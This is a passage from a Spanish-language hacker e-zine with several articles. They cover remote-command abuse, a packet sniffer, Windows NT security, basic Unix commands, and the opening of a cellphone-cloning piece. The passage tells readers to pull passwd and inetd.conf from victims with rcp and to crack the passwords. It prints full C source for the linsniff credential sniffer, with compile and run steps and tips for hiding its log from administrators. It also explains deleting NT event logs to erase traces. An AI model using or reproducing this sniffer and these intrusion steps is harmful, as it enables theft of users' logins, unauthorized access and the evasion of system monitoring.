Entonces te permite ejecutar este comando sin necesidad de estar en dicho
servidor. El comando rsh se utiliza para ejecutar comandos del shell Unix
en un sistema remoto. Lo mejor de todo esto es que esto se realiza sin
autenticaci¢n.
Una vez que saben que servidores estan registrados alli utilizan un
ipspoofer y yaaaaaaaaaaaaaaaaaa zassssssssssssss utilizas los servicios
para lo que te de la ganaaaaaaaa!!!!!
aunque claro tambien me podr¡a copiar los archivos y he alli el porque el
Linux y en fin Unix son lo m ximo yo podria copiarme el inetd.conf de la
siguiente forma
# rcp lavictima.com:inetd.conf /home/kimo/hvzone
rcp: comando de copia remota
rcp origen destino
el archivo remoto se escribe "servidor:ruta del archivo"
podr¡a copiarme el passwd jejejeje
claro cada comando tiene sus restricciones pero eso se los dejo
utilicen el "man" a ver lo que le sacan, esto es solo un uso pero ustedes
podr¡an darle otros usos mas.
-=Capturando Paquetes con un Sniffer=-
Este tipo de programas son programas para monitoreo de sistemas capturan
todas los intentos de entrada al sistema obteniendo login y password , lo
cual es muy util para nosotros como hackers que estamos en busca de claves
para acceder a sisrtemas, el problema es que para colocar un sniffer en un
sistema unix debes tener acceso al shell del mismo ; previo uso de alguna
cuenta o sea si no tenemos un login y password validos no podremos colocarlo
en el sistema, supongamos que tienes un login y passwords tal vez es el de
tu propia cuenta , si lo es??????
Entonces debes sacar el passwd y tratar de crackear un par de cuentas
utilizando un buen programa para ello como el john de ripper o el xit20,
una vez que crackees algunos passwords entonces utilizas alguno, nunca
utilizes tu propia cuenta para esto ya que el root del sistema puede
revisar el log del sistema y darse cuenta de lo que sucede e indagar
quien esta ejecutando este programa ademas de las tremendas trazas que
deja un programa de estos en un sistema unix. Claro esto tiene su remedio
pero eso sera otro articulo,ademas el sniffer puede ser detectado por el
comando ps lo que lo hace mas vulnerable por lo que disponemos de muy poco
tiempo antes de ser detectados.
Lo que sugiere que ejecutemos esto un dia en el cual exista mucho trafico
de usuario por ejemplo un lunes en la madrugada para que cuando llegen los
usarios a las 7:00 A.M o mas tarde a ver su correo o cualquier cosa los
atrape el sniffer y debes estar atento a recojer el botin lo mas pronto
posible.
Si ya tienes acceso al shell de unix en el sistema (es obvio que desde el
inicio me he estado refiriendo a un sistema unix) entonces debes compilar
el sniffer en el sistema tienes varias opciones subir el archivo del sniffer
por ftp a la cuenta del huesped , entrar el shell escribir $joe sniffer.c
[enter] y comenzar a escribirlo tu mismo lo que daria mucha ladilla!! o
por el contrario, si entras por telnet desde win entonces ejecutas la linea
de comando anterior y haces un cut and paste y no tendras que escribir nada
ni dejaras la huella de haberlo subido por ftp. Bueno ya debes tener un
sniffer para linux o unix a la mano si no has encontrado alguno te ahorrare
el trabajo de buscarlo, aca tienes el linsniff :
/-\/-\/-\/-\/-\/-\/-\/-\ Comienzo del Exploit - Cortar aqu¡ /-\/-\/-\/-\/-\/-\
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
int openintf(char *);
int read_tcp(int);
int filter(void);
int print_header(void);
int print_data(int, char *);
char *hostlookup(unsigned long int);
void clear_victim(void);
void cleanup(int);
struct etherpacket
{
struct ethhdr eth;
struct iphdr ip;
struct tcphdr tcp;
char buff[8193];
}ep;
struct
{
unsigned long saddr;
unsigned long daddr;
unsigned short sport;
unsigned short dport;
int bytes_read;
char active;
time_t start_time;
} victim;
struct iphdr *ip;
struct tcphdr *tcp;
int s;
FILE *fp;
#define CAPTLEN 1024
#define TIMEOUT 31
#define TCPLOG "/root/private/.sniff.log"
int openintf(char *d)
{
int fd;
struct ifreq ifr;
int s;
fd=socket(AF_INET, SOCK_PACKET, htons(0x800));
if(fd < 0)
{
perror("cant get SOCK_PACKET socket");
exit(0);
}
strcpy(ifr.ifr_name, d);
s=ioctl(fd, SIOCGIFFLAGS, &ifr);
if(s < 0)
{
close(fd);
perror("cant get flags");
exit(0);
}
ifr.ifr_flags |= IFF_PROMISC;
s=ioctl(fd, SIOCSIFFLAGS, &ifr);
if(s < 0) perror("Tu mama te va a pegar Jejejejeje(modo promiscuo)");
return fd;
}
int read_tcp(int s)
{
int x;
while(1)
{
x=read(s, (struct etherpacket *)&ep, sizeof(ep));
if(x > 1)
{
if(filter()==0) continue;
x=x-54;
if(x < 1) continue;
return x;
}
}
}
int filter(void)
{
int p;
p=0;
if(ip->protocol != 6) return 0;
if(victim.active != 0)
if(victim.bytes_read > CAPTLEN)
{
fprintf(fp, "\n-----+ [CAPLEN Exceeded]+\n");
clear_victim();
return 0;
}
if(victim.active != 0)
if(time(NULL) > (victim.start_time + TIMEOUT))
{
fprintf(fp, "\n-----+ [Timed Out]+\n");
clear_victim();
return 0;
}
if(ntohs(tcp->dest)==21) p=1; /* ftp */
if(ntohs(tcp->dest)==23) p=1; /* telnet */
if(ntohs(tcp->dest)==110) p=1; /* pop3 */
if(ntohs(tcp->dest)==109) p=1; /* pop2 */
if(ntohs(tcp->dest)==143) p=1; /* imap2 */
if(ntohs(tcp->dest)==513) p=1; /* rlogin */
if(ntohs(tcp->dest)==106) p=1; /* poppasswd */
if(victim.active == 0)
if(p == 1)
if(tcp->syn == 1)
{
victim.saddr=ip->saddr;
victim.daddr=ip->daddr;
victim.active=1;
victim.sport=tcp->source;
victim.dport=tcp->dest;
victim.bytes_read=0;
victim.start_time=time(NULL);
print_header();
}
if(tcp->dest != victim.dport) return 0;
if(tcp->source != victim.sport) return 0;
if(ip->saddr != victim.saddr) return 0;
if(ip->daddr != victim.daddr) return 0;
if(tcp->rst == 1)
{
victim.active=0;
alarm(0);
fprintf(fp, "\n----- [RST]\n");
clear_victim();
return 0;
}
if(tcp->fin == 1)
{
victim.active=0;
alarm(0);
fprintf(fp, "\n----- [FIN]\n");
clear_victim();
return 0;
}
return 1;
}
int print_header(void)
{
fprintf(fp, "\n");
fprintf(fp, "%s => ", hostlookup(ip->saddr));
fprintf(fp, "%s [%d]\n", hostlookup(ip->daddr), ntohs(tcp->dest));
}
int print_data(int datalen, char *data)
{
int i=0;
int t=0;
victim.bytes_read=victim.bytes_read+datalen;
for(i=0;i != datalen;i++)
{
if(data[i] == 13) { fprintf(fp, "\n"); t=0; }
if(isprint(data[i])) {fprintf(fp, "%c", data[i]);t++;}
if(t > 75) {t=0;fprintf(fp, "\n");}
}
}
main(int argc, char **argv)
{
s=openintf("eth0");
ip=(struct iphdr *)(((unsigned long)&ep.ip)-2);
tcp=(struct tcphdr *)(((unsigned long)&ep.tcp)-2);
signal(SIGHUP, SIG_IGN);
signal(SIGINT, cleanup);
signal(SIGTERM, cleanup);
signal(SIGKILL, cleanup);
signal(SIGQUIT, cleanup);
if(argc == 2) fp=stdout;
else fp=fopen(TCPLOG, "at");
if(fp == NULL) { fprintf(stderr, "Sorry... cant open log file. gotta
create it first eg: touch %s \n",TCPLOG);exit(0);}
clear_victim();
for(;;)
{
read_tcp(s);
if(victim.active != 0)
print_data(htons(ip->tot_len)-sizeof(ep.ip)-sizeof(ep.tcp), ep.buff-2);
fflush(fp);
}
}
char *hostlookup(unsigned long int in)
{
static char blah[1024];
struct in_addr i;
struct hostent *he;
i.s_addr=in;
he=gethostbyaddr((char *)&i, sizeof(struct in_addr),AF_INET);
if(he == NULL) strcpy(blah, inet_ntoa(i));
else strcpy(blah, he->h_name);
return blah;
}
void clear_victim(void)
{
victim.saddr=0;
victim.daddr=0;
victim.sport=0;
victim.dport=0;
victim.active=0;
victim.bytes_read=0;
victim.start_time=0;
}
void cleanup(int sig)
{
fprintf(fp, "Awww.... that hurts!....\n");
close(s);
fclose(fp);
exit(0);
}
/-\/-\/-\/-\/-\/-\/-\/-\ Fin del Exploit - Cortar aqu¡ /-\/-\/-\/-\/-\/-\/-\/\
Para compilar el sniffer : gcc -o linsniff linsniff.c
para ejecutarlo: touch /root/private/.sniff.log
./linsniff &
tail -f /root/private/.sniff.log
De esta manera el sniffer esta capturando todos los paquetes que pasen a
traves de cierta interfase y asi podra capturar muchos logins y passwords,
claro esta no es la unica forma de obtenerlos pero queda de parte de cada
quien el trabajar mas para obterner otros tipos de acceso y encontrar otras
vulnerabilidades. Para el uso del sniffer necesitan corregir los puertos
sobre los cuales capturara el paquete por los que esten disponbles en mi
caso en la linea 119 debi colocar imap en reenplazo de imap2 y 25 en vez de
143 en el numero de puerto, ademas deben crear un directorio en el cual
el sniffer va a dejar su huella de paquetes capturados podria ser un
directorio nuevo como el private pero no en el directorio root ya que si
aun no eres root como lo podrias leer ? por lo que debes crear un nuevo
directorio en tu propio home(aunque seria suicidio) o creas el directorio
en otro sitio alejado de la atencion de el administrador del sistema(root).
Otros sniffer son :
* Etherfind para SunOs4.1.x
* Snoop para Solaris 2.x y SunOs 4.1 (disponible en ftp playground.sun.com)
* Tcpdump 3.0 uses bpf compatible con muchas plataformas.
* Packetman, Interman, Etherman, Loadman estos funcionan en las siguientes
plataformas:
SunOS, Dec-Mips, SGI, Alpha, and Solaris. Estan disponibles en
ftp.cs.curtin.edu.au:/pub/netman/[sun4c|dec-mips|sgi|alpha|solaris2]
/[etherman-1.1a|interman-1.1|loadman-1.0|packetman-1.1].tar.Z
Packetman fue dise¤ado para capturar paquetes, mientras que Interman,
Etherman,y Loadman fueron dise¤ados para monitrear el trafico.
*sniffit
Nota : las direcciones de ubicacion de los sniffer fue tomada de un articulo
publicado por Internet Security Sistems I.n.c .
Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ÍÍ͹ Seguridad en Windows NT ÌÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ͹KliberÌÍÍÍÍ
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
-=Introducci¢n=-
Mucho se ha hablado de Windows y su seguridad, muchos colegas de la
comunidad hack ridiculizan el uso de Windows y alegan que Unix si es en
realidad un sistema Operativo; la verdad es que, Windows gana terreno
rapidamente y se esta convirtiendo en un Standard en la red, por lo tanto
no debemos reirnos de Bill Gates si no darle un estudio serio a este
Sistema Operativo.
Los problemas de seguridad en Windows pueden resumirse en dos palabaras:
"Interfaz Amigable" o facilidad de uso. Ninguna otra plataforma ha sido
dise¤ada expresamente para este proposito, ni siquiera Mac. Esta facilidad
de uso viene con un Costo en materia de seguridad. Ahora bien, Windows NT
tiene un modelo de seguridad bastante bueno, el elemento mas importante de
ese modelo concierne al "Control de Acceso". El control de acceso es una
forma de seguridad comunmente vista en los Sistemas Operativos basados en
Unix, y tiene que ver con el control de quien puede accesar a archivos,
directorios, y servicios. En ciertos casos, incluso a que horas este acceso
puede ocurrir.
La seguridad en Windows NT aunque algo compleja, se basa en dos cosas muy
Simples:
@ Restringir el Acceso a Objetos(*) tales como recursos del sistema,
Archivos, Servicios, Dispositivos, etc.
@ El Servicio de Auditoria que genera entradas en un Registro o "Log" del
sistema al operar sobre un Objeto(*)
[(*) Windows NT es un Sistema operativo con dise¤o orientado a objetos, La
mayoria del sistema operativo esta concebido como Objeto: Archivos, memoria,
dispositivos, procesos, etc. El sistema de seguridad de Windwos NT comprueba
todos los accesos a estos objetos, comprueba que son utilizados los permisos
apropiados y el sistema de auditoria de Windows NT registra estos sucesos.]
Por lo tanto tenemos que la seguridad de Windows NT la podemos resumir en
Control de acceso a Objetos, y monitoreo del sistema. Eso es la base del
sistema de seguridad de NT, que utiliza controles de accesos
"Discrecionales" que permite saber que usuarios acceden a que servicios
u objetos; como ya sabemos, los objetos en NT pueden ser Archivos, Puertos,
Directorios, etc. Cada objeto puede ser protegido individualmente o por
Grupos, esto quiere decir, que un usuario cuando le es creada la cuenta
se le asigna una cantidad de derechos y permisos especificos, y a su vez,
este es incluido en un "Grupo" de trabajo, entonces tenemos permisos
Individuales y Grupales, de repente este usuario puede tener mas derechos
y permisos por pertenecer a un grupo que los que le son asignados
individualmente.
Cualquier usuario que quiera acceder a un sistema NT deberia tener una
cuenta de usuario en ese sistema (un login y un password). Los grupos son
conjuntos de usuarios con permisos especificos para la actividad que
realizan, por ejemplo, el Grupo "Administradores" no puede tener los mismos
permisos y derechos que el grupo "Todos", es mas facil para un administrador
asignar permisos a un grupo que hacerlo individualmente, por lo tanto,
debemos tener en cuenta a los grupos cuando estudiemos la seguridad de
un sistema.
Grupos Principales en un Entorno NT:
# Administradores: Son los usuarios que tienen los derechos para administrar
el sistema y hacer lo que les da la gana con ellos, es el equivalente a
Root en Unix.
# Operadores de Cuentas: los que tienen derechos para administrar, crear,
borrar, cuentas de usuario.
# Operadores de Impresi¢n: Son los que tienen derecho a administrar
impresoras.
# Usuarios: Son los usuarios comunes y silvestres, con los derechos normales
en una cuenta de usuario.
# Invitados: Usuarios sin cuenta con derechos bastante limitados, unos
simples lamers. jeje!
Windows NT tiene algunas caracter¡sticas de seguridad que tenemos que
conocer, poco a poco iremos estudiando estas caracter¡sticas para tener
una idea clara del conjunto de medidas de seguridad de Windows NT.
-=El Inicio de Sesi¢n=-
Windows NT es Diferente a otras versiones de Windows en muchos aspectos,
cuando se carga carga el sistema operativo, NT se prepara para el inicio
de la sesi¢n, mediante un dialog box indicando que se pulsen las teclas
Crtl-Alt-Del y presentando un cuadro para el login y password, este inicio
de sesion protege tambien contra los caballos de troya, esta secuencia
asegura que se iniciara una nueva secuencia de inicio de sesi¢n (valgase la
Rebuznancia); cuando un usuario inicia una sesi¢n en NT, escribe su nombre
de usuario y su contrase¤a, la proxima vez que alguien inicie una sesion en
el sistema, el ultimo nombre escrito en ese campo aparecer escrito
nuevamente, esto es un problema de seguridad potencial que viene por defecto
en las maquinas NT, para eliminar este problema, usamos el registro de NT:
1) Vamos a INICIO -> Ejecutar -> Colocamos REGDT32 en el dialog box.
2) Al aparecer el editor del registro, hacemos click en HKEY_LOCAL_MACHINE.
3) Luego buscamos la siguiente localizaci¢n:
SOFTWARE/Microsoft/Windows NT/Current Version/Winlogon
4) En la ventana derecha del registro hacemos doble click en la opci¢n
"DontDisplayLastUserName" y cambiamos el valor a 1 para desactivarlo.
5) No hay paso cinco. jeje!
Muy bien, habiamos quedado en el inicio de sesion, recordemos que este
inicio de sesion esta representado por un cuadro de dialogo o "Dialog Box"
con casillas para el ID y el Password (Desafio); un buen Administrador
haria de este "Desafio" algo mas Interesante a modo de proteccion
psicologica-esoterica, colocando un Texto a manera de "Aviso Legal"
bastante intimidatorio como para evitar que Lamers jueguen con la estacion;
Algo como esto quiza:
AVISO:
"Esta Es la estaci¢n de Auditoria de la Red, su uso esta Restringido al
Grupo "Auditores", todos los inicios de sesi¢n en esta maquina seran
monitoreados.
En caso de uso Indebido de este equipo se aplicaran sanciones Penales segun
Art. 125 de la Ley de Telecomunicaciones Digitales (PANATEL) Blah blah bla.
...O una amenaza en "H4X0R" todo lo satanica y vulgar que quieras, o una
maldici¢n gitana o tal vez un Pasaje de la Biblia... (cada quien tiene
sus gustos..). :)
Para hacerlo utilizamos el Registro nuevamente:
1) Repetimos los pasos anteriores hasta el Paso 3 (buscamos Winlogon en el
registro).
2) En la ventanita derecha del Registro hacemos doble Click en la opcion
"LegalNotice-caption". Aqui colocamos el Titulo del Dialog Box (Nombre
siniestro de la Estaci¢n) B-]
3) Haz doble click en la opci¢n "LegalNoticeText" y coloca el Texto que
quieras...
Monitor de Actividades, Auditoria (Visor de Sucesos)
Pues bien, una vez conectado a un NT mucho de lo que hagas durante la
sesion (Este "Mucho" depende de la configuraci¢n del mismo) va a parar a
unos Archivos de registro, estos archivos son creados en el "Visor de
Sucesos" de Windows NT, esta herramienta es sumamente util para monitorear
lo que sucede en una estacion, puede ser configurada para activarse ante
casi cualquier movimiento dentro del sistema: Inicio y cierre de sesion,
acceso a archivos y objetos, uso de los derechos de usuario, administracion
de usuario y grupos, Cambios en el plan de seguridad, Reinicio y apagado del
sistema , seguimiento de procesos...
Desde que se inicia la sesion, esta es monitoriada, claro, en una red con
muchos usuarios, las opciones de monitoreo son mas reducidas debido a que
generan muchos bytes de informacion, y esto no es de mucha utilidad, casi
siempre los administradores, usan la auditoria de procesos a full capacidad
cuando sospechan que esta pasando algo "raro" con los servidores, este
sistema de seguridad es muy util para descubrir Virus o archivos que hayan
sido colocados aleatoriamente, tales como troyanos o BackDoors..., toda esa
Info va a parar a estos Archivitos que los podemos encontrar en:
systemroot/System32/CONFIG
Y aqui los identificamos:
# SECEVENT.EVT [ Registro de Sucesos de Seguridad ]
# SYSEVENT.EVT [ " " del Sistema ]
# APPEVENT.EVT [ " " en Aplicaciones ]
Si estos Archivos no estan correctamente configurados, pueden ser
manipulados, o (lo que es mas comun) simplemente eliminados para borrar
las huellas de una amena estadia, estos Archivos se volveran a crear y
el sistema empezara a monitorear nuevamente (Claro, los eventos y sucesos
que ocurrieron antes de su destruccion quedar n en el Olvido).. B-]
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ÍÍ͹ UNIX, Como usarlo y vivir para contarlo... ÌÍÍÍÍÍÍÍÍÍÍÍÍÍÍ͹KliberÌÍÍÍÍ
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
Ok, Unix o tambi‚n conocido como *NIX debido a todos sus sabores o
versiones, no es mas que un sistema operativo...(al igual que Windoze
y Dos), sip, tan solo eso, es la forma como los humanos se comunican con
las computadoras... Nosotros los Humanos no podemos hablar en codigo
binario (el idioma de las computadoras 1.0.1.1.0.0 ), asi que la funci¢n
de los SO es la de transformar los comandos que tipeamos en 1s y en 0s,
Windows fu‚ dise¤ado para ser facil de utilizar, Unix fu‚ dise¤ado para
ser Poderoso..., Windows fu‚ hecho para un solo usuario, Unix fu‚ hecho
para muchos, Unix es multitarea (al igual que Windoze) Unix puede tener
varios usuarios y trabajar en varios procesos a la vez, no todos los
programas para Unix se ejecutan bajo ventanas (aunque tiene tambi‚n una
interf z como la de windows llamada x-windows), Unix trabaja mas que todo
con lineas de comandos... (como en MS-DOS).
Tu puedes ver que procesos se est n ejecutando en unix (como cuando le
das crt-alt-del en Windows), tu puedes tener una simple PC con Unix
cargado y tener a cientos de usuarios conectados a la vez.. (cosa
dificil con windoze), eso es lo que conocemos como una cuenta Shell,
muchas personas conectadas a una m quina...
El Shell de Unix no es mas que el Prompt del sistema operativo, desde el
cual tipieamos los comandos, puede tener muchas apariencias pero la mas
com£n es esta:
#
o esta:
DarkStar:/home/usr/kliber#
(Hmm... diferente a c:> no?)
--------
Comandos:
--------
man
---
Este comando significa: "Manual", es como la "Ayuda" de Windows, si
queremos saber algo sobre un comando o programa solo debemos tipear:
man Nombre del comando o programa.
Por ejemplo, has escuchado hablar sobre el comando "ls", pero no tienes
idea para que sirve, o como se utiliza, bueno, solo tienes que hacer esto:
man ls
Nota: Por lo general (y esto se va a convertir en una constante), esta
"ayuda" te va a venir en INGLES, (lo siento), asi que vamos a ponernos
pilas con ese idioma co¤o!!
y veremos algo como esto:
LS(1V) USER COMMANDS LS(1V) NAME ls - list the contents of a directory
SYNOPSIS ls [ -aAcCdfFgilLqrRstu1 ] filename ... SYSTEM V SYNOPSIS
/usr/5bin/ls [ -abcCdfFgilLmnopqrRstux ] filename ... AVAILABILITY The
System V version of this command is available with the System V software
installation option. Refer to Installing SunOS 4.1 for information on how
to install optional software.
(Hmmm... no se ve nuy bonito pero nos da una idea rudimentaria de lo que
es...)
cd
--
Aja, adivinaron, este comando (al igual que en Ms-dos) nos sirve para
cambiar de directorio, ejm:
cd /usr/bin
Este comando te llevar al directorio "Bin", (notese que los Slash se usan
de forma diferente que en ms-dos).
ls
--
Este comando nos muestra que hay en un directorio, (es el equivalente a dir
en ms-dos), este y otros muchos comandos, pueden ejecutarse con "variables",
estas variables, nos permiten ejecutar los comandos en la forma que a
nosotros mas nos convenga... :) ejm:
#ls
Al ejecutar este comando, nos dar una lista de los archivos que est n en
el directorio actual...,
koan% ls public_html tmp koan%
Como pueden ver, el directorio actual consta de 2 archivos, ahora bien,
que pasar¡a si ejecutamos este mismo comando junto con algunas variables..:
#ls -alf
koan% ls -alf
total 15
drwxr-xr-x 4 root wheel 512 Sep 23 16:57 .
drwxr-xr-x 8 root wheel 512 Sep 22 10:58 ..
-rw-r--r-- 1 root wheel 1108 Sep 28 20:09 .login
-rw-r--r-- 1 root wheel 139 Sep 22 10:58 .login_conf
-rw-r--r-- 1 root wheel 313 Sep 22 10:58 .mailrc
-rw-r--r-- 1 root wheel 749 Sep 22 10:58 .profile
-rw-r--r-- 1 root wheel 832 Sep 22 10:58 .shrc
-rw------- 1 root wheel 351 Sep 22 10:58 .mail_aliases
-rw-r--r-- 1 root wheel 540 Sep 22 11:04 .cshrc
drwxrwxrwt 14 root wheel 1536 Nov 6 20:50 tmp
-rw-r--r-- 1 root wheel 0 Sep 23 16:51 .bash_history
-rw------- 1 root wheel 257 Sep 22 10:58 .rhosts
-rw-rw--w- 1 root wheel 69 Nov 6 20:44 .history
drwxrwxrwt 8 root wheel 512 Nov 6 20:25 public_html koan%
Al ver este directorio, podran darse cuenta de que es "algo" diferente de
los directorios que estamos acostumbrados a ver en ms-dos, ese es un
directorio de Unix, y veremos que significa toda esa informaci¢n...
drwxrwxrwt 14 root wheel 1536 Nov 6 20:50 tmp
-rw-r--r-x 1 root wheel 0 Sep 23 16:51 .bash_history
drwxrwxrwx: Estos son los permisos, estan divididos en tres grupos de tres
letras cada grupo, la primera letra, si es la letra "d" nos dice que se
trata de un directorio, si es un "-" se trata de un archivo, asi podemos
identificar cuales son archivos y cuales son directorios...
rwx: Estos son los permisos de archivos o directorios, r: significa leer,
w: significa modificar, x: significa ejecutar, como dije estan divididos
en tres grupos, el primer grupo pertenece al due¤o del archivo o directorio,
el segundo pertenece a los miembros del Grupo, y el tercero es el resto de
los usuarios... ¨que quiere decir todo esto? bueno, se los explicar‚ con
este ejemplo:
-rwxr--r-- Bien, viendo estos permisos, lo primero es que identificamos que
estamos tratando con un archivo (-) el due¤o del archivo puede leerlo (r)
borrarlo o sobreescribirlo (w) y ejecutarlo (x) , los miembros del grupo al
que pertenece el due¤o del archivo solo pueden leerlo (r--) (vean que falta
la w y la x) y el resto de los usuarios tambien solo pueden leerlo (r--)
-rw-r--r-- 1 mac_x wheel 1147 Sep 29 19:42 bashh.c
Ahora bien de izquierda a derecha, tenemos los permisos de este archivo
(porque lo primerito que hay es un "-" y esto quiere decir que estamos
viendo un archivo, luego tenemos el nombre del due¤o de este archivo
(mac_x) luego tenemos el nombre del grupo al que pertenece el due¤o del
archivo (wheel), luego el tama¤o del archivo (1147) la fecha y hora en que
fu‚ creado o modificado (Sep 29 19:42) y por ultimo y muy importante, el
nombre del archivo... (bashh.c).
De nuevo otro directorio para que vayan familiarizandose:
drwxr-xr-x 2 guest wheel 512 Nov 5 17:03
.theme drwxr-xr-x 2 guest wheel 512 Nov 6 21:02 wow
-rw-r--r-- 1 mac_x wheel 1147 Sep 29 19:42 bashh.c
-rw-r--r-- 1 guest wheel 1320 Nov 6 20:49 termcap
-rw------- 1 guest wheel 0 Nov 6 19:08 vi.D23167
-rw------- 1 guest wheel 0 Nov 6 19:09 vi.L23169
drwxr-xr-x 2 guest wheel 512 Nov 6 14:55 .tmp
-rws--x--x 3 root users 147456 Sep 15 16:40 aa
-rw-r--r-- 1 guest wheel 37 Nov 6 01:04 .pswd
drwxr-xr-x 2 guest wheel 512 Nov 5 14:26 .bfg
-rwxr-x--- 7 cmeinel cmeinel 286720 Jul 25 02:36 irc12
-r-sr-xr-- 4 root users 32768 Sep 17 15:03 foo
-rwxr-x--- 7 cmeinel cmeinel 286720 Jul 25 02:36 irc3
drwxr-xr-x 2 guest wheel 512 Nov 6 03:30 .Yak
drwxr-xr-x 2 guest wheel 512 Nov 3 19:44 .x
drwxr-xr-x 2 guest wheel 512 Nov 1 15:47 .loop
drwxr-xr-x 2 guest wheel 512 Nov 3 17:56 .moo
Debemos resaltar que Unix trata a todos los archivo como si fueran de texto,
esto quiere decir que no poseen extensi¢n (como en ms-dos), ni son
ejecutables desde el Shell a menos que se "Monten" como por ejemplo
con:
#crontab exploit.c
Otra cosa que hay que destacar, es que en Unix, no importa el tama¤o del
nombre del archivo, puede existir un archivo que se llame:
el_archivo_mas_tonto_del_mundo_leeanlo_ya!.txt.exe.com_no_importa
who:
----
Nos dice quien est conectado a la estaci¢n en ese momento y que diablos
est haciendo...
#w (facilito)
date:
-----
Muestra la fecha y hora... (ugh!)
cal:
----
Un autentico calendario UNIX para poder planear tus Hackings del mes... :)
#cal 11 1998
rm:
--
Borra un archivo.. (ojo: *nix no es como windoze, *nix no pregunta antes
de borrar un archivo, asi que cuidado,un vez borrado... chao!)
#rm nombre del archivo
rmdir:
-----
Borra un directorio, este debe de estar vacio....
cat:
----
Este comando es super-util, nos sirve para leer el contenido de un y lo
envia al dispositivo de salida standard, (pantalla) , (no recomiendo leer
archivos binarios con este comando) :) para saber cual es cual tenemos la
orden: file , que nos dir que es binario y que no... tambi‚n podemos crear
un archivo de texto con cat, redireccionando la salida hacia un archivo...
(hablaremos de redirecciones y otros menesteres mas adelante) por ejemplo:
cat > archivo todo lo que tecleemos ir a parar a un archivo... Podemos
hacer muchas cosas en Unix, as¡ que no se enreden, poco a poco...
#cat exploit.c mostrar el contenido de el archivo en pantalla.
write:
------
manda un mensaje a otro usuario por pantalla, ejm:
#write merlin Hola merlin, no puedo accesar al directorio etc/passwd,
¨sabes como hacerlo?
El usuario merlin ver en pantalla:
Message from kliber tty0 [fry nov 12 23:30] Hola merlin..... (etc.)
talk:
-----
Es el Chat de Unix, con este comando pueden comunicarse dos usuarios
tecleando sus ideas... (como en un Chat), cuando lanzamos esta orden,
se divide la pantalla en dos partes y si se establece la comunicaci¢n,
podremos hablar tranquilamente sobre como Hackear ese servidor... :)
mesg:
-----
Si no utilizan esta orden primero, ni van a poder recibir mensajes, ni van
a poder chatear, asi que cuando entren al shell pongan: mesg yes (a veces
esto varia, pero si no funciona as¡, pongan solo mesg para ver la sintaxis)
pwd:
----
Muestra el directorio actual...
whoami:
-------
Indica que usuario eres...
finger:
-------
indica informaci¢n sobre un usuario determinado...
wall:
-----
Manda un mensaje a todos los usuarios conectados...
Exploremos un poco acerca de los Permisos de Archivo,
(File Permissions), esto fu‚ una gran idea de los creadores de Unix, que
Bill tambi‚n robo para su NT... El proposito de los permisos de archivo es
darte control sobre los archivos que tu puedes leer, ejecutar o modificar...
El due¤o (del archivo) o el Root son los unicos que pueden cambiar los
permisos con el comando #chmod , hay tres grupos principales donde se
aplican los permisos, y estos son Due¤o y Root, Grupo, Mundo.
EJM: -rwxrw-r-- 1 derr 0 Jul 2 18:55 file1
Ok, Tenemos 10 campos, el primero nos dice si es archivo o directorio y
los restantes 9 (rwxrwxrwx) son los Permisos propiamente dichos; (r= Read,
w= Write, x= eXecute). Si nos aparece un gui¢n (-) en determinado campo,
eso quiere decir que el permiso para esa acci¢n est restringido; ya sabemos
que cada grupo (owner-root, group, world) posee tres permisos (rwx) por
eso se repite tres veces (rwxrwxrwx) (una para cada grupo, empezando por
el mas alto nivel) en el ejemplo anterior tenemos que: Tratamos con un
archivo porque el primer campo es un gui¢n (-) , luego vienen los permisos
para el due¤o del archivo y Root (en el ejemplo, aparece rwx, (full
permisos), el due¤o puede leer, modificar y ejecutar el archivo), vamos
a hora con el Grupo, supongamos que tu tines una poderosa estaci¢n Unix
y que le vas a dar cuentas a tus Panas de HV, adem s vas a dar un poco
de Free-shell (restringido) a quienes quieran aprender *nix, bien, vas
a querer que tus panas tengan mas privilegios que el resto de la gente,
por lo tanto creas un Grupo :) por ejemplo: editas el archivo etc/group
y a¤ades el Grupo "hackven" quedar algo asi:
hackven:#$:hackven:0:root,kliber,darkdeath,merlin, etc.
Algunos grupos:
bin::1:root,bin,daemon
daemon::2:root,bin,daemon,majordomo
sys::3:root,bin,adm
adm::4:root,adm,daemon
Notaran que cada grupo tiene asignado un numero, eso es el "group ID"
(GID), root es del GID 0. Para ver que GID te corresponde en un Shell
tipeas el comando #id, para ver quien mas est en tu grupo, tipeas:
#grep (nombre del grupo) etc/group
Chmod nos sirve para cambiar los permisos, el trabaja en una forma Octal,
recuerden: r=4 w=2 r=1 ; veamoslo de esta manera:
rwxrwxrwx
412412412
Ahora bien, vamos a cambiar los permisos para el archivo exploit.c para
que tu como due¤o del archivo tengas full permisos (rwx), para que los
miembros de tu grupo puedan leerlo y ejecutarlo pero no modificarlo (r-x),
y para que el resto del mundo ni lo vea ni lo ejecute ni n (---)...
Tenemos que en el primer grupo (rwx) esto es: 4+2+1 = 7 por lo tanto el
primer numero para el comando chmod es 7 , luego tenemos (r-x) 4+0+1 = 5
y (---) 0+0+0= 0 el comando para modificar de esta manera el permiso es:
#chmod 750 exploit.c
Y as¡ vamos, full permisos es 777 etc. practica un poco y le coger s el
truquito...
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ÍÍ͹ Clonaci¢n y Telefonia Celular ÌÍÍÍÍÍÍÍÍÍÍÍÍÍ͹VeN tHe KiLlEr RaT!ÌÍÍÍÍÍ
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
\ /
\ /
\/ e N tHe KiLlEr RaT! - Klonacion C-Lular
